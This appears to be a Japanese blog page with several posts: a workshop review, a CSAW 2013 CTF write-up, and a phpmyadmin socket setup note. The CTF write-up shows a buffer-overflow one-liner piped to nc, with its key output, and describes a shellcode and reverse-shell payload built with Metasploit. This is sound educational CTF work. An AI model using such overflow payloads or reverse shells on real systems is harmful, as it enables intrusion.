一位の方は、購入したもののみカートから取り除くという処理いれており、想定解通りの解答になっていた。素晴らしい。

全体の講評

 Bug 5まである程度の修正を行えていた人は比較的多くいた。動作としては治っているが一時しのぎ的なもの、前後の流れをみて修正しているものなど解答も様々であった。
 環境構築から、全体動作の理解、バグ報告されているバグの修正の全部を3時間でやってもらうという課題であったが、参加者からの感想や提出されて解答をみる限りでは3時間でやるには時間がやや足りない程度のボリュームだったようだ。

 また、アプリケーションのルートディレクトリをwww/という記述をしたが、この設定ができなかったのか、リダイレクトなどのすべてのパスを絶対パスから相対パスに書き換えている解答が多くあった。

tipsだが、最近のPHPはサーバーも付属しているので、www/配下で

php -S localhost:5000

とすると、localhostに5000番ポートでカレントディレクトリをルートとしたPHPのサーバーが起動する。また、XAMPPなどでapacheを利用している場合、httpd.confのDocumentRootを指定することでアプリケーションのルートディレクトリを設定することができる。

感想

 フレームワークを利用しないPHPについては、久しぶりに触ったという人がほとんどであったと思う。また、MySQLにはついては触ったことがないという人もいた。
 直接話を聞く限りでは参加した人には楽しんでもらえたようで良かった。ただ、解答を提出してくれた半分程度の人には声をかけられたが、全員と話せなかったのが少し残念だった。ゆっくりと参加者同士で交流できる時間が欲しかった。
さて、2日目のLT会で話すはずだったが時間の都合上なくなった「Bug Fix Backendを攻撃してみた」についておまけで紹介する。興味があれば見てみてほしい。otameshi61.hatenablog.com

CSAW 2013 Exploit100,200

去年の大会のものです。
備忘録としてwriteup書きます。

やったものとしてはExploit100,200,300,400です。今回は100と200の説明をします。
問題はこちらにあります。

CTFを知らない方向けに説明するとExploitの問題とは、
あるサーバーで動いてるプログラムが渡されて、それを解析して脆弱性をみつけて攻撃を仕掛ける問題です。
最終的にはサーバー側にある(key.txt)といったファイルの中身を読み出すことが目標となります。
今回は、Exploit100は単純なbufferoveflow、Exploit200では最終的にサーバー側からshellを奪う(ソケット通信でshell(sshみたいな感じ)を起動する)ことで目標を達成します。

大会中はサーバーのIPとプログラムの稼動しているポート番号が知らされるのですが、もう停止してしまっているのでローカルでプログラムを実行しています。
他の方の書いたwriteupを読む限りASLRはどの問題でも無効となっていたようです。

Exploit 100

サーバ上で動いてる実行ファイルと、そのプログラムの一部が渡される。
プログラムは

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]

プログラムを見てみると、backdoorが0以外になった場合にkeyが出力されることが分かる。しかし通常ではここの分岐は通らない。今回の目標はここの条件に飛ばすことであると考えられる。

この問題では、recvの読み込みバイト数と、読み込み先のbufferの確保されたバイト数に着目する。recvでは1020バイト読み込もうとしているのに対し、bufferは1016バイトしか確保されていない。
ここで1016バイトより大きいサイズが読み込まれた場合、Buffer Overflowが起こることが分かる。
また関数内でbackdoorはbufferより先に宣言されることより、stack内では、backdoorのアドレス > bufferのアドレスとなり、Buffer Overflowが起きた際にbackdoorが書き変えられる。
よってこの問題では、とりあえず大量に文字を送ってやればkeyが手に入る。

# python -c "print 'a'*1020" | nc localhost 31337
Welcome to CSAW CTF.keydayoaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

※keyは"keydayo"をもつテキストファイ
Welcome to CSAW CTF.の後にkeyの中身が書き出されていることが分かる。

Exploit 200

実行ファイルのみ与えられる。
とりあえず接続してみる。

# nc localhost 31338
�����L~-Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

という表示が得られる。
最初に文字化けした文字と、適当な文章が表示され、入力待ち状態になる。
これだけだと良く分からないので、詳細に見ていく。

まず、

# file exploit2 
exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc796f194ec45ced8903694f93c194eed06b9139d, not stripped

fileコマンドより32ビットのELFファイルで、stripされていないファイル(解析しやすい)ということが分かる。

# checksec.sh --file exploit2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   explo

NX disabledよりstack上での実行権があることがわかるので、stackにshellcodeを積んで実行を移す問題と予想が立てられる。
IDA proで見てみる。接続すると表示される部分はこのようなプログラムになっていることが分かる。

f:id:otameshi61:20140316235925p:plain

3度のsendを実行している。
最初にvar_80Cのアドレス、次にvar_Cの中身、最後に文章が送られてきている。

var_80Cはこの後に入力する内容が書き込まれる領域の先頭アドレス、var_Cには乱数が格納されておりstackから抜ける直前でこの値が変更されていないかチェックされる。この値が変更されていた場合Exitされてしまう。

関数の戻りアドレス(ベースアドレスの下に積まれている)を書き換えて、
shellcodeへ実行を移したいので、var_Cの値は保存したままbufferoverflowを起こすようにする。

以上よりpayloadの構成はshellcode + var_C + shellcodeの先頭アドレスが骨格となり、あとはstackの距離より調整すればよい。

shellcodeはバックコネクトでshellをつなぐものをmetasploitで作成して、ローカルの適当なマシンで受けるようにした。作成したソースコードはこんな感じ。

実行すると待ち受けているところでshellがつながれることが分かる。

f:id:otameshi61:20140323182323p:plain

macでphpmyadminの設定に詰まった話

マックでローカル開発環境を構築のため、phpmyadminをいれたところ、
config.ini.phpを作成してログインするための設定はしたが、

#2002 MySQLサーバにログインできません

と出て詰まってしまった。

調べたところ、phpmyadminではなく、phpの拡張モジュールのソケットの設定が必要らしい。

MySQLの環境は、ログインしてstatusコマンドを打ち込めばみることができる。

 mysql> status
--------------
mysql5  Ver 14.14 Distrib 5.1.68, for apple-darwin12.2.0 (i386) using readline 6.2
 

Connection id:          11
Current database:
Current user:           otameshi61@localhost
SSL:                    Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:        ;
Server version:         5.1.68 Source distribution
Protocol version:       10
Connection:             Localhost via UNIX socket
Server characterset:    latin1
Db     characterset:    latin1
Client characterset:    latin1
Conn.  characterset:    latin1
UNIX socket:            /opt/local/var/run/mysql5/mysqld.sock
Uptime:                 11 hours 21 min 43 sec
 

Threads: 1  Questions: 47  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.1
--------------

このUNIX socketのパスをphpの設定ファイルに書いてPHPからMySQLを使えるようにしてやればよい。
phpの設定ファイルは/etcにphp.ini.defaultというファイルがあるので、

cp php.ini.default php.ini

とし、php.iniファイルを作成して、
mysql.default_socket
mysqli.default_socket
にパスを通す。

mysql.default_socket = /opt/local/var/run/mysql5/mysqld.sock
mysqli.default_socket = /opt/local/var/run/mysql5/mysqld.sock

これで、PHPからMySQLが使えるようになりphpmyadminもきちんと動くようになった。

(XAMPPを使うとここら辺の設定もすんでるだっけ...?)